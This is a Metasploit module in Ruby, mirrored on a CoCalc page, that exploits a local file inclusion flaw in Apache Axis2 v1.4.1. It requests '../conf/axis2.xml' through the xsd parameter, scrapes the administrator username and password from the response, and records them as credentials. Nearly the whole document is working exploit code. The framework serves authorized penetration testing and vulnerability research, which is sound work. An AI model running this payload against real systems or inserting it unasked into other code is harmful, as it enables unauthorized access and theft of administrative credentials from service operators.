CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/axis_local_file_include.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
12
def initialize
13
super(
14
'Name' => 'Apache Axis2 v1.4.1 Local File Inclusion',
15
'Description' => %q{
16
This module exploits an Apache Axis2 v1.4.1 local file inclusion (LFI) vulnerability.
17
By loading a local XML file which contains a cleartext username and password, attackers can trivially
18
recover authentication credentials to Axis services.
19
},
20
'References' =>
21
[
22
['EDB', '12721'],
23
['OSVDB', '59001'],
24
],
25
'Author' =>
26
[
27
'Tiago Ferreira <tiago.ccna[at]gmail.com>'
28
],
29
'License' => MSF_LICENSE
30
)
31
32
register_options([
33
Opt::RPORT(8080),
34
OptString.new('TARGETURI', [false, 'The path to the Axis listServices', '/axis2/services/listServices']),
35
])
36
end
37
38
def run_host(ip)
39
uri = normalize_uri(target_uri.path)
40
41
begin
42
res = send_request_raw({
43
'method' => 'GET',
44
'uri' => uri,
45
}, 25)
46
47
if (res and res.code == 200)
48
res.body.to_s.match(/\/axis2\/services\/([^\s]+)\?/)
49
new_uri = normalize_uri("/axis2/services/#{$1}")
50
get_credentials(new_uri)
51
52
else
53
print_status("#{full_uri} - Apache Axis - The remote page not accessible")
54
return
55
56
end
57
58
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
59
rescue ::Timeout::Error, ::Errno::EPIPE
60
61
end
62
end
63
64
def report_cred(opts)
65
service_data = {
66
address: opts[:ip],
67
port: opts[:port],
68
service_name: (ssl ? 'https' : 'http'),
69
protocol: 'tcp',
70
workspace_id: myworkspace_id
71
}
72
73
credential_data = {
74
origin_type: :service,
75
module_fullname: fullname,
76
username: opts[:user],
77
private_data: opts[:password],
78
private_type: :password
79
}.merge(service_data)
80
81
login_data = {
82
last_attempted_at: DateTime.now,
83
core: create_credential(credential_data),
84
status: Metasploit::Model::Login::Status::SUCCESSFUL,
85
proof: opts[:proof]
86
}.merge(service_data)
87
88
create_credential_login(login_data)
89
end
90
91
def get_credentials(uri)
92
lfi_payload = "?xsd=../conf/axis2.xml"
93
94
begin
95
res = send_request_raw({
96
'method' => 'GET',
97
'uri' => "#{uri}" + lfi_payload,
98
}, 25)
99
100
print_status("#{full_uri} - Apache Axis - Dumping administrative credentials")
101
102
if res.nil?
103
print_error("#{full_uri} - Connection timed out")
104
return
105
end
106
107
if (res.code == 200)
108
if res.body.to_s.match(/axisconfig/)
109
110
res.body.scan(/parameter\sname=\"userName\">([^\s]+)</)
111
username = $1
112
res.body.scan(/parameter\sname=\"password\">([^\s]+)</)
113
password = $1
114
115
print_good("#{full_uri} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'")
116
117
report_cred(ip: rhost, port: rport, user: username, password: password, proof: res.body)
118
119
else
120
print_error("#{full_uri} - Apache Axis - Not Vulnerable")
121
return :abort
122
end
123
124
else
125
print_error("#{full_uri} - Apache Axis - Unrecognized #{res.code} response")
126
return :abort
127
128
end
129
130
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
131
rescue ::Timeout::Error, ::Errno::EPIPE
132
end
133
end
134
end
135
136